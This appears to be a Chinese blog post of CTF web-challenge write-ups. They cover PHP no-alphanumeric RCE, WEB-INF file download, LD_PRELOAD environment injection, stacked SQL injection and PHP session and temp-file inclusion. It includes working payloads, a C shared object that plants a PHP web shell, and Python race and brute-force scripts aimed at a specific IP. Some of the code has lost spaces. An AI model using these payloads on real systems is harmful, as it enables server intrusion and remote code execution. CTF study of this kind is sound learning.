一、[鹏城杯 2022]简单的php
题目
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
明显的无字母无数字RCE
2、关于无字母无数字的RCE
推荐两篇文章:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
我们构造payload
system(current(getallheaders()));
转换为:
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
意思是,在当前请求头中的取第一行为参数,以执行system命令。
3、如图
![](https://i-blog.csdnimg.cn/blog_migrate/b51de7c75071fdcc4f4f4543a8702fc8.png)
请求头的第一行添加: 1: ls /
发送即可
flag 在 nssctfflag
后面cat操作同上
![](https://i-blog.csdnimg.cn/blog_migrate/d8294bceaacf804be1298925044b0aa4.png)
二、[RoarCTF 2019]Easy Java
1、题目
![](https://i-blog.csdnimg.cn/blog_migrate/e86c1d2b3632f0e065602770bef21700.png)
尝试注入,无果。
点击help
![](https://i-blog.csdnimg.cn/blog_migrate/3251714a5c17f28f9ef1fb199a6bbcab.png)
可能可以下载任意文件
2、WEB-INF
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
burp把GET修改为POST,并?filename=WEB-INF/web.xml
![](https://i-blog.csdnimg.cn/blog_migrate/1a4e5177a7e1823215b89eb74c461871.png)
flag在com.wm.ctf.FlagController类中
则?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
![](https://i-blog.csdnimg.cn/blog_migrate/0bf765036e61366055897393e865b233.png)
base解码
![](https://i-blog.csdnimg.cn/blog_migrate/dd11313cd4dba47f2cae067fdae3b3fe.png)
三、[虎符CTF 2022]ezphp
本题没做出来,看了这位大哥的wp
https://www.programminghunter.com/article/19142402630/
1、题目
<?php
(empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');
?>
2、利用环境变量命令注入
推荐文章
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
本题与此文章差别挺大的
3、解
这里给出大哥的三个脚本(原文章地址在此节开头)
1.c
#include<stdlib.h>#include<stdio.h>#include<string.h>
__attribute__ ((__constructor__)) voidangel(void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
首先将此c文件使用gcc转换为so文件
gcc-shared-fPIC 1.c-o 1.so
增大so文件的大小
var=`dd if=/dev/zero bs=1c count=10000 | tr '\0''c'`
echo $var >> 1.so
俩脚本
gen_tmp.py
from threading import Thread
import requests
import socket
import time
port = 28077
host = "1.14.71.254"defdo_so():
data = open("1.so", "rb").read()
packet = f"""POST / HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
if __name__ == "__main__":
do_so()
brute.py
import requests
from threading import Thread
port = 28077
host = "1.14.71.254"defldload(pid, fd):
sopath = f"/proc/{pid}/fd/{fd}"
print(sopath)
r = requests.get(f"http://{host}:{port}/", params={"env":f"LD_PRELOAD={sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()
![](https://i-blog.csdnimg.cn/blog_migrate/bfc55e98e61b776d48427e8884099d3c.png)
python3 gen_tmp.py & python3 brute.py
![](https://i-blog.csdnimg.cn/blog_migrate/0c0343835eb7938c6ec3aa430f3558f4.png)
然后蚁剑连接
四、[强网杯 2019]随便注
1、题目
![](https://i-blog.csdnimg.cn/blog_migrate/e3679602cff6721706b4e5f89b4419ab.png)
按照题目意思,是注入漏洞。
先看看“姿势“是啥。
![](https://i-blog.csdnimg.cn/blog_migrate/8f5080930f15dab02663a7c44e7e289f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/c2549729f77bcc6e0d306367c2967d64.png)
2后面没了。
2、注入
尝试注入
常规注入
1' and 1=1#
![](https://i-blog.csdnimg.cn/blog_migrate/f5804fbe011e428b7b050eb19465ec06.png)
1' order by 1,2#
没反应
1' order by 1,2,3#
出现:error 1054 : Unknown column '3' in 'order clause'
1' union select 3#
提示了过滤内容
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
换种方式:堆叠注入
1';show tables;#
![](https://i-blog.csdnimg.cn/blog_migrate/8a156cbafe5b7de81251939c8d12e6bf.png)
得到两个表,查看两个表的内容
1';show columns from `1919810931114514`;#
注意 数字表名一定要用反引号围住。
![](https://i-blog.csdnimg.cn/blog_migrate/1ea3a986147ec805dd21e18ad4dae168.png)
1';show columns from words;#
![](https://i-blog.csdnimg.cn/blog_migrate/8a312037bedfcb7b37d6f18d0fcb8543.png)
3、两种解法
3.1、mysql的特殊查询语句
handler tbl_name open (as yourname); #指定数据表进行载入并将返回句柄重命名
handler tbl_name read first; #读取指定表/句柄的首行数据
handler tbl_name read next; #读取指定表/句柄的下一行数据
由此我们输入:
';handler `1919810931114514` open;handler `1919810931114514` read first;#
注意别忘了反引号
![](https://i-blog.csdnimg.cn/blog_migrate/120b063efa174ff58b0a95f5d05ae50b.png)
3.2、rename修改表名
通过handler open来查询words表的内容,我们可以发现,其实查询的id1,2就是words表里的。
所以思路就是,把又flag的表名修改为可以显示的表名,此为偷天换日。
即把 1919810931114514 改名为words,words改名为words2。
0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
1'or 1=1#
![](https://i-blog.csdnimg.cn/blog_migrate/3a88180995721ee24c2577709971d112.png)
五、[第五空间 2021]EasyCleanup
推荐文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x04-sessionupload_progresssession
https://www.freebuf.com/vuls/202819.html
1、题目
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
2、初步尝试
?mode=eval&shell=system('ls /');
![](https://i-blog.csdnimg.cn/blog_migrate/ef88910d13704ae53d4e1a21582406f4.png)
flag在nssctfasdasdflag
![](https://i-blog.csdnimg.cn/blog_migrate/13c16ae3c667ba564420d288460c93f5.png)
此路不通。
3、session文件包含
?mode=eval
session.upload_progress.enabled = On
将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里
session.upload_progress.cleanup = On
PHP会在上传请求被读取完成后自动清理掉这个Session
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
当一个上传在处理中,PHP检测POST请求(同时POST一个与INI中设置的session.upload_progress.name同名变量)
session.use_strict_mode = Off
此时用户可以自己定义Session ID。在Cookie里设置PHPSESSID=1,PHP将会在服务器上创建一个文件:/tmp/sess_1
在Cookie中设置PHPSESSID=1,同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带上这个键,PHP就会自动启用Session,
同时,我们已经在Cookie中设置了PHPSESSID=0,所以Session文件将会自动创建。索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值
满足上述条件,我们就可以通过sesison文件包含来达到目的了。
偷了个脚本
import io
import requests
import threading # 多线程
from cffi.backend_ctypes import xrange
sessid = '0'
target = 'http://1.14.71.254:28599/'
file = '1.txt' # 上传文件名
f = io.BytesIO(b'a' * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长
def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=`cat /nssctfasdasdflag`;?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(
f"{target}?file=/tmp/sess_{sessid}")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
threading.Thread(target=write, args=(session,)).start()
# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
执行
![](https://i-blog.csdnimg.cn/blog_migrate/af6619c7de9cf8b687d232097e9b8a51.png)
六、[NPUCTF2020]ezinclude
1、题目
![](https://i-blog.csdnimg.cn/blog_migrate/66bd0c2cd230e34e31cff922c4e830a8.png)
上来就是 账户密码错误的提示,抓包看一下
![](https://i-blog.csdnimg.cn/blog_migrate/f68ce34156bc3733c6905bf839f5e0df.png)
发现了Cookie和Set-Cookie。
响应标头 Set-Cookie 被用来由服务器端向用户代理发送 cookie,所以用户代理可在后续的请求中将其发送回服务器。
再根据回应的提示:
md5($secret.$name)===$pass
Cookie里的Hash可能就是$secret.$name的值。
直接把Set-Cookie里的Hash传进去。
![](https://i-blog.csdnimg.cn/blog_migrate/1b7d8ef26d052bc99a02b5927bbf9935.png)
发现了一个php文件。
2、php临时文件及崩溃的利用
进去flflflflag.php
![](https://i-blog.csdnimg.cn/blog_migrate/a6d4f891082c5b2e8645acb8a6674e92.png)
抓包。
![](https://i-blog.csdnimg.cn/blog_migrate/0a720cf043a506df183d1f735e9aec36.png)
文件包含。
include($_GET["file"])
此处,我第一反应是上一题的php临时文件包含。
但,此前dirsearch扫描目录得知了两个php文件:config.php和dir.php
config.php里面没东西,而dir.php列出了临时文件的保存路径。
![](https://i-blog.csdnimg.cn/blog_migrate/44354d5ce2e8930eb39c44c0d4fcfbca.png)
<?php
var_dump(scandir('/tmp'));
?>
崩溃利用
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留。 脚本(看了wp,flag在phpinfo里)
import requests
from io import BytesIO
url="http://a732832b-1114-4935-a745-3746ad316259.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)
![](https://i-blog.csdnimg.cn/blog_migrate/4ff2ae9ff091a881b75b635820e433cf.png)
成功
查看临时文件的名字
![](https://i-blog.csdnimg.cn/blog_migrate/4ba320cafc8aa3b51b054f4d1b55b104.png)
![](https://i-blog.csdnimg.cn/blog_migrate/ce45b05fd08df1954198aeeeb4f8069f.png)